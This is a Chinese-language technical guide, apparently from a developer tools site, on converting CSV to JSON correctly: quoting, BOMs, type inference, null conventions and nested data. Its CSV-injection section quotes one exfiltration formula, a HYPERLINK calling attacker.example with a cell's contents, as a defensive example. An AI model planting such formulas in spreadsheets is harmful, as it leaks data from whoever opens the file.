# CSV 转 JSON：引号、逗号、编码和嵌套数据怎么处理

> 避免 split 逗号导致的 CSV 解析错误，正确处理引号、换行、BOM、空值和类型转换，并给出可重复的校验流程。

**快速答案:** CSV 必须用真正的解析器处理，不能简单地按逗号 split，因为引号里的逗号、转义引号和字段内换行都是合法数据。转换前先确定空值、数字和日期的表示方式，转换后用 JSON Schema 校验结构。

## 核心要点

- CSV 不是单一格式，分隔符、引号、编码和换行都可能不同。
- 引号字段可以包含逗号、转义引号和换行。
- UTF-8 BOM 可能让第一个表头多出一个不可见字符。
- 类型推断是产品决策，不应该由解析器静默猜测。
- CSV 可能包含公式注入，导出给表格软件前要处理。

---

CSV 看起来很简单，直到某个字段里出现逗号。然后出现引号，引号里又有转义引号，最后字段中间还夹着换行。再加上 BOM 和混合类型，`split(",")` 就不再是解析器了。

这篇文章讲清规则、常见错误和一套能发现问题的校验流程。

这个格式有欺骗性，因为简单场景确实简单。问题都出在边缘：财务导出的一份文件、用户备注里的一个换行、一列带前导零的 ID。每个边缘情况都有正确答案，但必须明确告诉解析器答案是什么。

## CSV 是一族格式，不是单一标准

没有一种 CSV 标准能被所有工具严格遵守。RFC 4180 描述了常见约定，但分隔符、引号、换行和编码会因生成工具而异。

常见差异：

- 逗号、分号或制表符分隔。
- 字段是否加引号。
- 引号的不同转义规则。
- UTF-8、UTF-16 或旧编码。
- 是否有表头。
- 空单元格表示 null、空字符串还是缺失。

转换前先检查文件，确认方言。

分隔符识别是第一道陷阱。欧洲地区的 Excel 可能用分号，因为逗号是小数分隔符；制表符文件不一定带 `.tsv` 后缀；有些 Excel 文件以一行 `sep=;` 开头，用来说明分隔符。按第一行猜通常能用，直到某个带引号的字段里逗号比正文分隔符还多，猜测就会翻转。最好向数据生产方确认，或者把分隔符做成转换器的显式参数。

换行和行列形状会造成更安静的错误。RFC 4180 规定 CRLF，Unix 工具却输出 LF，旧 Mac 文件可能用 CR。最后一行没有换行是合法的，而末尾多一个换行，幼稚的解析器可能多产生一条空记录。参差行——字段数比表头少或多——必须有明确策略：拒绝整个文件、补空值，或者收集多余字段。静默丢掉多余字段，就是数据在无声消失。

## 引号规则

RFC 4180 的常见规则：

- 包含逗号、引号或换行的字段必须加引号。
- 引号字段内部的双引号通过重复一次来转义。
- 不需要引号的字段也可以加引号。

```csv
name,note
Mina,"Likes commas, quotes, and line breaks"
Leo,"He said ""hello"""
```

第二行的 `note` 是一个字段。第三行的 `note` 包含字面引号。解析器能处理，split 不能。

split 失败的最小复现：`Mina,"Likes commas, quotes, and line breaks"` 逻辑上是两个字段，`split(",")` 却返回四个。生成的 JSON 里 `note` 变成 `"Likes commas`，还多出两列装着句子的碎片。如果代码按位置映射，后面每一列都会错位；而行数仍然对得上，简单校验完全发现不了。

未闭合的引号比错列更严重。按 RFC 4180，解析器进入引号字段后会一直读到闭合引号，一个缺失的引号可能把文件剩余部分全部吞成一个值。健壮的转换器应该报错并给出行号和字节偏移，而不是返回一个巨大的字段；同时要有字段大小上限，否则一行坏数据可能在没人注意时分配出几 GB 内存。

转义引号靠重复，不靠反斜杠：`"He said ""hi"""` 解析后是 `He said "hi"`。反斜杠转义在其他格式和一些 CSV 方言里很常见，混用两套规则会把值悄悄改坏。用同时包含逗号和引号的值测一遍。

## 表头和重复列名

第一行通常是表头。问题出现在：

- 没有表头。
- 两列同名。
- 表头包含空格、标点或 BOM。
- 表头是本地化语言，下游却按英文键读取。

要有意识地规范化表头：

```js
function normalizeHeader(value, index) {
  const cleaned = value
    .replace(/^﻿/, "")
    .trim()
    .replace(/\s+/g, "_")
    .replace(/[^\w]/g, "")
    .toLowerCase();
  return cleaned || `column_${index + 1}`;
}
```

检测重复列名并显式报错，不要静默覆盖。

规范化本身也会制造重复。`First Name`、`first_name`、`First-Name` 可能都变成 `first_name`，清理后为空的表头则回退成 `column_3`。先生成规范化后的表头列表并检查碰撞，再决定报错还是加后缀区分；同时保留原表头到 JSON 键的映射，方便以后人工审计。

生成 JSON 里的重复键比重复表头更麻烦，因为证据已经被丢掉。多数 JSON 序列化器保留后值，于是第二列悄悄获胜。如果两列都重要，就显式改名；如果其中一列是错误，就拒绝文件并告诉生产方哪几列冲突。

## 编码和 BOM

UTF-8 BOM 可能成为第一个表头的一部分，生成 `﻿name` 这样的键，永远匹配不上 `name`。

```js
const text = rawText.replace(/^﻿/, "");
```

非 UTF-8 文件要先按正确编码解码再解析。不要让 CSV 解析器猜编码。UTF-16 文件包含大量空字节，猜错会直接产生乱码。

中文导出有一个很实际的坑：中文 Windows 上的 Excel 可能把 CSV 存成 GBK/GB18030，而不是 UTF-8；用 UTF-8 打开就会看到替换字符或乱码，例如 `é` 变成 `Ã©`。先按声明或检测到的编码解码，核对几个已知值，再开始解析。编码检测只是启发式猜测，一次猜错就可能毁掉文件里所有非 ASCII 姓名。

换行归一化要在解码之后做，因为引号字段里的 CRLF 是数据，必须原样保留。检查文件开头三个字节是不是 UTF-8 BOM（`EF BB BF`），只去掉这个精确序列；如果从值中间删掉一个普通的 `﻿` 字符，反而会破坏合法文本。

## 类型推断

CSV 没有类型，每个单元格都是文本。转 JSON 时必须做决策：

| 单元格 | 可能的 JSON 值 | 风险 |
| --- | --- | --- |
| `42` | `42` 或 `"42"` | 前导零、ID |
| `true` | `true` 或 `"true"` | 大小写和语言 |
| `2026-11-09` | 字符串或时间戳 | 时区 |
| 空 | `null`、`""` 或缺失 | 必填字段 |
| `00123` | `"00123"` 或 `123` | 丢失前导零 |
| `1,234` | `"1,234"` 或 `1234` | 本地化格式 |

先定义 Schema，再显式转换。不要让通用推断把邮编变成数字，或把日期变成本地时区时间戳。

具体边界：`00123` 如果是工牌号或邮编，必须保持 `"00123"`；`9007199254740993` 超过 JavaScript 安全整数范围，会静默变成 `9007199254740992`；`1,234` 在一种区域设置里是格式化数字，在另一种里是两个值；`03/04/2026` 在美国是 3 月 4 日，在欧洲大部分地区是 4 月 3 日；`TRUE`、`true`、`1` 都可能表示布尔，但一列 `0` 和 `1` 往往只是分类编码。只有按列声明 Schema，这些决策才是显式的。

推断也有性能成本。逐格扫描猜类型会让大文件的工作量翻倍，边缘情况仍然会猜错。Schema 驱动的转换每个值只读一次，坏行可以带着字段级错误被拒绝，而不是被悄悄强转。

## 空值约定

常见三种写法：

```json
{ "name": "Mina", "note": null }
{ "name": "Mina", "note": "" }
{ "name": "Mina" }
```

它们并不等价。`null` 是存在的值，`""` 是空字符串，缺失属性表示字段不存在。每个字段选一种约定并写清楚。

约定会影响下游。必填字段是 `null` 时可能过不了 Schema 校验，而缺失属性可能通过“非必填”检查，随后让假设键一定存在的代码崩溃。表格用户清空单元格，通常意思是“没有值”，但 API 可能把 `""` 当成显式空字符串写进数据库。应该按字段决定：身份和度量可能需要 `null`，自由文本备注可能需要 `""`，可选关联可能需要省略属性。

## 嵌套数据

CSV 是扁平的。JSON 需要嵌套对象时，选一种约定：

1. **扁平列**：`address.city`、`address.zip`。
2. **JSON 字符串列**：在一个单元格里存 `{"city":"Berlin"}`。
3. **规范化多表**：父记录和子记录拆成不同文件。

第一种易读但列多；第二种灵活但需要二次解析和校验；第三种最接近关系模型，但转换更复杂。

JSON 字符串列需要护栏：单元格里可能是坏 JSON、可能是对象但 Schema 期望数组、也可能字符串里还套着一层 JSON。必须解析、按嵌套 Schema 校验，并用 `address.city` 这样的路径让该行失败，而不是接受一个“看起来像结构化数据”的字符串。CSV 层加引号、数据层再加 JSON 引号，等于一个单元格里有两套转义规则；要用同时含引号、逗号和换行的值测试。

扁平化也有碰撞问题。字面列名 `address.city` 和嵌套对象 `{ "address": { "city": ... } }` 会得到同一个点路径。要明确点是分隔符还是普通字符，并对另一种情况转义或拒绝。规范化多表则需要一个能穿过 CSV 的稳定连接键，优先用显式 ID，而不是按姓名或邮箱匹配。

## 大文件

把超大 CSV 全部读进内存可能拖垮浏览器或服务端。大文件应该：

- 流式读取行，而不是一次性读完整文件。
- 增量写出 JSON，或输出 NDJSON。
- 先校验样本，再处理全量。
- 设置最大行数和列数。

浏览器端的 [CSV 转 JSON 工具](/tools/csv-json) 适合常规文件。几 GB 的导出应该用服务端流式处理。

算一下内存就明白原因。1 GB 的 CSV 读进浏览器会变成 JavaScript 字符串，按 UTF-16 可能占 2 GB 以上；再解析成对象数组还会翻倍。标签页通常在几 GB 附近就崩，失败方式是整页崩溃而不是清晰报错。流式解析器内存里只保留一行，增量写出 JSON，并在输出慢于输入时施加背压。消费方能接受 NDJSON 时，干脆不要外层数组，这样也不必先把完整结果攒在内存里。

## CSV 注入

表格软件可能把以 `=`、`+`、`-`、`@` 开头的单元格当作公式。恶意 CSV 在打开时可能执行公式。

导出给表格软件时：

- 给高风险单元格加单引号前缀。
- 或者拒绝以公式字符开头的单元格。
- 写进文档，避免误伤正常公式。

[CSV 编辑工具](/tools/csv-editor) 可以帮助检查和清理数据，但不要把客户端清理当作安全边界。

危险前缀不只有 `=`。以 `+`、`-`、`@` 开头的单元格，以及公式字符前带制表符或回车的单元格，都可能触发同样行为。`=HYPERLINK("http://attacker.example/?leak="&A1,"点击")` 是典型的数据外带手法。导出给表格软件时要清洗，导入时也要校验，因为不可信来源生成的 CSV 会攻击下游打开它的人。

给每个高风险单元格加单引号前缀会改变单元格内容，也可能破坏正常的负数或公式。先判断文件是给机器的数据，还是给人的工作簿。机器对机器的 CSV 可以拒绝公式前缀或按纯文本处理；面向人的导出则要转义并写清行为。两种用途不该共用一套未经审视的清洗器。

## 可重复的转换流程

1. 确认方言：分隔符、引号、表头、编码。
2. 去掉 BOM，规范化表头。
3. 用真正的 CSV 解析器解析。
4. 应用显式类型映射。
5. 确定空值约定。
6. 确定嵌套数据表示。
7. 转成 JSON。
8. 用 [JSON Schema 校验工具](/tools/json-schema) 校验结构。
9. 用 [JSON 格式化工具](/tools/json-formatter) 检查样本。
10. 对比行数和几条已知记录。

[CSV 转 JSON 工具](/tools/csv-json) 可以完成常见文件的 1-7 步。后面的校验步骤，才是防止“看起来成功、实际数据错误”的关键。

要加入输入和输出的对比，而不只是检查输出。JSON 记录数应等于数据行数；列数应等于去重后的表头数；对几条已知记录做排序投影后计算校验和，再和人工核对过的 fixture 比对。流水线还应把源文件哈希、转换器版本、方言和 Schema 版本与输出一起保存，这样以后出现差异时可以复现，而不是争论。

一个实用的抽查预算：看第一行、最后一行，以及所有字段数发生变化的行。首尾能发现截断和表头错误，字段数变化能发现引号和换行问题。数据有自然键时，转换后再查重复键和缺失键，这些往往就是解析器合并行或拆错行的症状。

## 关于往返转换

CSV → JSON → CSV 不一定无损。引号风格、数字格式、日期和空值都可能变化。如果 CSV 是外部契约，保留原始文件，不要在没有控制两端的情况下反复往返。

具体会丢什么：带引号的字段回来时可能没有引号，CRLF 变成 LF，`00123` 变成 `123`，`1.20` 变成 `1.2`，被解析成本地日期的值可能换一种格式或时区返回，末尾空行可能多出来也可能消失。两端对 Schema 和规范输出格式有共识时，往返是安全的；文件是别人工具里的任意导出时，往返就不安全。

CSV 是用隐式约定表达文本，JSON 用显式结构表达数据。转换就是把约定变成代码的过程，所以每个决策都应该可见。

## 常见问题

### 为什么 split(',') 解析 CSV 会出错？

引号里的逗号是数据，不是分隔符。split(',') 无法区分两者，也会在转义引号和字段内换行处出错。应该使用遵循 RFC 4180 或实际方言的 CSV 解析器。

### CSV 里的引号怎么转义？

常见规则是用双引号包裹字段，并把字段内部的双引号写成两个双引号。例如 He said "hi" 会变成 "He said ""hi"""。不同工具可能使用不同方言，转换前要确认来源。

### 数字和布尔值要转成 JSON 类型吗？

只有 Schema 明确要求时才转。邮编、电话号码和账号看起来像数字，但必须保持字符串。转换前定义好类型映射，转换后校验结果。

### 空单元格应该转成什么？

先决定空单元格表示 null、空字符串还是缺失字段。三者含义不同：null 是存在的值，空字符串是长度为 0 的字符串，缺失字段表示属性不存在。每个字段选定一种约定并写进文档。

### CSV 能表示嵌套对象吗？

不能直接表示。可以把嵌套字段扁平化成多列，把嵌套值编码成 JSON 字符串，或者拆成多张关联表。选一种约定并保持一致。

## 参考资料

- [RFC 4180 - CSV 文件格式](https://www.rfc-editor.org/rfc/rfc4180)
- [W3C - CSV on the Web](https://www.w3.org/TR/tabular-data-primer/)
- [OWASP - CSV 注入](https://owasp.org/www-community/attacks/CSV_Injection)
- [MDN - JSON](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/JSON)

---

- Canonical: https://www.jsonmind.com/zh-CN/guides/csv-to-json
- Locale: zh-CN
- Published: 2026-11-09
- Updated: 2026-11-09
- Tools: csv-json, csv-editor, json-formatter, json-schema